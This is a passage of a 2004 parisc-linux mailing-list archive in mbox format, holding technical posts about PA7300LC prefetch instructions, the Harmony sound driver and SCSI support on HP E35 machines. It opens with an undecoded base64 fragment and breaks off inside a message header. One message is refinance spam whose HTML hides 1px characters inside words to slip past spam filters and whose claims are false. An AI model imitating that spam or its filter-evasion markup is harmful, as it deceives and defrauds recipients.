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
3ANc4G+F22P/r5jDNY


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean Williams <odxhlmimhiaq@loantohome.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] `3.52%
Date: Mon, 26 Apr 2004 13:56:38 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <14518.8815695748$1416623407@news.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (produced by intervalberiberi 2.9)
Content-Type: multipart/alternative;
	boundary="--556295376009661"
X-Trace: ger.gmane.org 1416623407 8965 80.91.229.3 (22 Nov 2014 02:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:07 +0000 (UTC)
To: Parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: odxhlmimhiaq@loantohome.com  Mon Apr 26 05:02:37 2004
Return-Path: <odxhlmimhiaq@loantohome.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fl220-100-192-067.i-chubu.ne.jp
	(fl220-100-192-067.i-chubu.ne.jp [220.100.192.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 7B1764860
	for <parisc-linux@parisc-linux.org>;
	Mon, 26 Apr 2004 05:02:35 -0600 (MDT)
X-Message-Info: M/g+4+o/BZ+129/536395174952
Original-Received: from smtp-rivulet.credulity.odxhlmimhiaq@loantohome.com
	([220.100.192.67]) by az69-mj69.odxhlmimhiaq@loantohome.com
	with Microsoft SMTPSVC(5.0.1537.8371); 
	Mon, 26 Apr 2004 18:02:38 +0600
X-Message-Info: XKFOV+%ND_LC_CHAR[1-3]1+vfg+P+86/7173982974278
Original-Received: (qmail 88901 invoked by uid 3); Mon, 26 Apr 2004 10:56:38 -0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 11:02:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21519

----556295376009661
Content-Type: text/html;
	charset="iso-7029-5"
Content-Transfer-Encoding: quoted-printable
Content-Description: emulsion foe eastman

</html><p align=3D"center"><b><font size=3D"5">ATTENT<FONT style=3D"FONT-S=
IZE: 1px">s</font>ION<FONT style=3D"FONT-SIZE: 1px">Q</font>! L<FONT style=
=3D"FONT-SIZE: 1px">[</font>ow r<FONT style=3D"FONT-SIZE: 1px">B</font>ate=
! Now is 
the ti<FONT style=3D"FONT-SIZE: 1px">*</font>m<FONT style=3D"FONT-SIZE: 1p=
x">a</font>e to re-finance!</font></b></p>
<div align=3D"center">
  <center>
<table style=3D"border:20px dashed #000000; border-collapse:collapse" heig=
ht=3D"8" width=3D"500" bordercolor=3D"#111111" cellpadding=3D"0" cellspaci=
ng=3D"0">
<tr>
<p align=3D"center"><td height=3D"5" width=3D"378" bgcolor=3D"#FFFF00"> 
    <p align=3D"center"> 
   <span style=3D"font-size: 120pt">`3.52%</span></td>
</tr>
</table>
  </center>
</div>
<p align=3D"center"><b><font size=3D"5">
<a href=3D"http://rd.yahoo.com/standstill/momentary/adler/*http:/www.flatl=
oan.com/?partid=3Darlenders3">Gr<FONT style=3D"FONT-SIZE: 1px">xc</font>ab=
<FONT style=3D"FONT-SIZE: 1px">{</font> it HER<FONT style=3D"FONT-SIZE: 1p=
x">8</font>E,=20w<FONT style=3D"FONT-SIZE: 1px">Ul</font>hile you can!
</a> </font></b></p>
</body>
<p align=3D"center"><font color=3D"#111111">- N<FONT style=3D"FONT-SIZE: 1=
px">n</font>O<FONT style=3D"FONT-SIZE: 1px">9B</font>BODY IS TURNE<FONT st=
yle=3D"FONT-SIZE: 1px">ZZ</font>D D<FONT style=3D"FONT-SIZE: 1px">J</font>=
OWN, NOBO<FONT style=3D"FONT-SIZE: 1px">|</font>DY!</font></p>
<p align=3D"center"><font color=3D"#111111">- ABSOLUTELY F<FONT style=3D"F=
ONT-SIZE: 1px">od</font>RE<FONT style=3D"FONT-SIZE: 1px">H</font>E O<FONT =
style=3D"FONT-SIZE: 1px">Ln</font>F CHAR<FONT style=3D"FONT-SIZE: 1px">v</=
font>G<FONT style=3D"FONT-SIZE: 1px">8</font>E, F<FONT style=3D"FONT-SIZE:=
 1px">/</font>REE!</font></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p align=3D"center">plea<FONT style=3D"FONT-SIZE: 1px">Z</font>se remove y=
oursel<FONT style=3D"FONT-SIZE: 1px">n</font>f, i<FONT style=3D"FONT-SIZE:=
 1px">hH</font>f you wou<FONT style=3D"FONT-SIZE: 1px">/</font>ld like t<F=
ONT style=3D"FONT-SIZE: 1px">BC</font>o discon<FONT style=3D"FONT-SIZE: 1p=
x">h</font>tinue 
fu<FONT style=3D"FONT-SIZE: 1px">tp</font>r<FONT style=3D"FONT-SIZE: 1px">=
aK</font>th<FONT style=3D"FONT-SIZE: 1px">q2</font>er ma<FONT style=3D"FON=
T-SIZE: 1px">K</font>ilin<FONT style=3D"FONT-SIZE: 1px">8S</font>g&nbsp;
<a href=3D"http://rd.yahoo.com/vitriolic/esteem/johnston/*http:/www.flatlo=
an.com/st.html">
REMO<FONT style=3D"FONT-SIZE: 1px">BS</font>VE HE<FONT style=3D"FONT-SIZE:=
 1px">ET</font>RE</a></p>
</html>

----556295376009661--


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] 7300LC
Date: Mon, 26 Apr 2004 12:59:18 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20040426115918.GO22558@parcelfarce.linux.theplanet.co.uk>
References: <20040419223250.7E3CE494572@palinux.hppa>
	<20040419223444.GB18329@parcelfarce.linux.theplanet.co.uk>
	<20040426014111.GC3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623407 8970 80.91.229.3 (22 Nov 2014 02:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:07 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: willy@www.linux.org.uk  Mon Apr 26 05:59:20 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F19E648D2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 05:59:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BI4la-0008Uo-Ks; Mon, 26 Apr 2004 12:59:18 +0100
Content-Disposition: inline
In-Reply-To: <20040426014111.GC3965@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 11:59:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21520

On Sun, Apr 25, 2004 at 06:41:11PM -0700, Randolph Chung wrote:
> willy, kyle found out that this doesn't work:
> 
> > > Split out 7300LC from 7100LC and PREFETCH from PA20.
> 
> extern inline void prefetchw(const void *addr)
> {
>         __asm__("ldd 0(%0), %%r0" : : "r" (addr));
> }
> 
> on pa11 gas won't assemble the ldd insn.
> 
> is this supposed to work for pa7300lc? if so we might have to rewrite
> prefetchw to use a .word or something...

It is supposed to work, yes.  I gleaned this information from
http://cpus.hp.com/technical_references/b7300lc.shtml section 2.2.4
The 7300LC ERS (http://ftp.parisc-linux.org/docs/chips/pcxl2_ers.pdf)
is of no help in this matter.  In section 14.5, it says:

  Because the processor does not necessarily stall even with two cache
  misses pending, software prefetching can lead to better performance
  increases than on the PA7100LC. This is because a software prefetch,
  initiated by a load to general register 0, is not treated like a
  load miss by the data cache and therefore can be completed in the
  ``background'' by the hardware and is less likely to cause processor
  stalls.

But, thinking about it, PA7300LC isn't SMP-capable.  Is there any
difference between prefetch-for-read and prefetch-for-write on a
uniprocessor system?  I don't think so.  So possibly we should just
define prefetchw to be the same as prefetch for CONFIG_PA7300LC and
different for CONFIG_PA20.  Makes sense?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul" <paul@techcenter3000.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Harmony driver for 2.6 working, possible bug in top?
Date: Mon, 26 Apr 2004 08:54:08 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <008301c42b95$f2ae30c0$0702a8c0@tfam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0080_01C42B6C.0965B7E0"
X-Trace: ger.gmane.org 1416623407 8975 80.91.229.3 (22 Nov 2014 02:30:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: paul@techcenter3000.com  Mon Apr 26 07:52:58 2004
Return-Path: <paul@techcenter3000.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TECHCENTER3000.COM (cpe-24-221-227-115.tx.sprintbbd.net
	[24.221.227.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id 765C64854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 07:52:58 -0600 (MDT)
Original-Received: from betsy (cs2416712-202.houston.rr.com [24.167.12.202])
	by TECHCENTER3000.COM (Postfix) with SMTP id 9FCFF8001C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 08:51:55 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2096
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2096
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 13:52:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21521

This is a multi-part message in MIME format.

------=_NextPart_000_0080_01C42B6C.0965B7E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

I'm new to parisc-linux, but I've been busily trying to get my HPPA box =
up and running, mostly using Gentoo.

News: Harmony driver for Alsa in 2.6 kernels is now compiling cleanly! I =
thank Takashi Iwai for the code fix(es), I'm guessing it should be in =
CVS any time now.=20

Bug in top: Can anyone else verify this? Add WCHAN to the field list and =
tell me if you think it's right.

Thanks
Paul

------=_NextPart_000_0080_01C42B6C.0965B7E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2096" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm new to parisc-linux, but I've been =
busily=20
trying to get my HPPA box up and running, mostly using =
Gentoo.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>News: Harmony driver for Alsa&nbsp;in =
2.6 kernels=20
is now compiling cleanly! I thank Takashi Iwai for the code fix(es), I'm =

guessing it should be in CVS any time now. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Bug in top: Can anyone else verify =
this? Add WCHAN=20
to the field list and tell me if you think it's right.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Paul</FONT></DIV>
<DIV>&nbsp;</DIV></DIV></BODY></HTML>

------=_NextPart_000_0080_01C42B6C.0965B7E0--



From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Philippe Bardyn" <philippe_bardyn@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] any news about support of SCSI on E35 serie
Date: Mon, 26 Apr 2004 15:55:10 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <Sea2-F4qWJJAf8DA1Xu0004e795@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=iso-8859-1
X-Trace: ger.gmane.org 1416623408 8981 80.91.229.3 (22 Nov 2014 02:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: philippe_bardyn@hotmail.com  Mon Apr 26 07:55:17 2004
Return-Path: <philippe_bardyn@hotmail.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (sea2-f4.sea2.hotmail.com [207.68.165.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC3714854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 07:55:16 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Mon, 26 Apr 2004 06:55:10 -0700
Original-Received: from 194.7.74.237 by sea2fd.sea2.hotmail.msn.com with HTTP;
	Mon, 26 Apr 2004 13:55:10 GMT
X-Originating-IP: [194.7.74.237]
X-Originating-Email: [philippe_bardyn@hotmail.com]
X-Sender: philippe_bardyn@hotmail.com
X-OriginalArrivalTime: 26 Apr 2004 13:55:10.0334 (UTC)
	FILETIME=[16F329E0:01C42B96]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 13:55:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21522

<html><div style='background-color:'><DIV class=RTE>
<P>Hi folks</P>
<P>Crawling the web this week-end, I saw some messages saying that the SCSI support for E35 serie is expected soon. But the pages are dated mid 2002.</P>
<P>Any news about that...because I just received such HP machine with a corrupt&nbsp;OS and if I'd like to know if I can use it as a decent linux server or converting it to a powerfull heater ;-)</P>
<P>To my knowledge, HP-UX 10.20 is difficult to find...and it's also expensive ! ( am I right ? )</P>
<P>Thanks in advance</P>
<P>Phil</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><BR><BR>&nbsp;</P></DIV></div><br clear=all><hr> <a href="http://g.msn.com/8HMBFRBE/2749??PS=">Prparez vos valises !</a> </html>


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in kernel 2.4.23 concerning use of SCSI
Date: Mon, 26 Apr 2004 16:08:58 +0200
Lines: 116
Approved: news@gmane.org
Message-ID: <OFEE32CD13.5A2A6DCE-ONC1256E82.004D2D75@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623408 8985 80.91.229.3 (22 Nov 2014 02:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: JKonrad@linotype.com  Mon Apr 26 08:10:20 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (okakura.linotypelibrary.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 177724854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 08:10:20 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
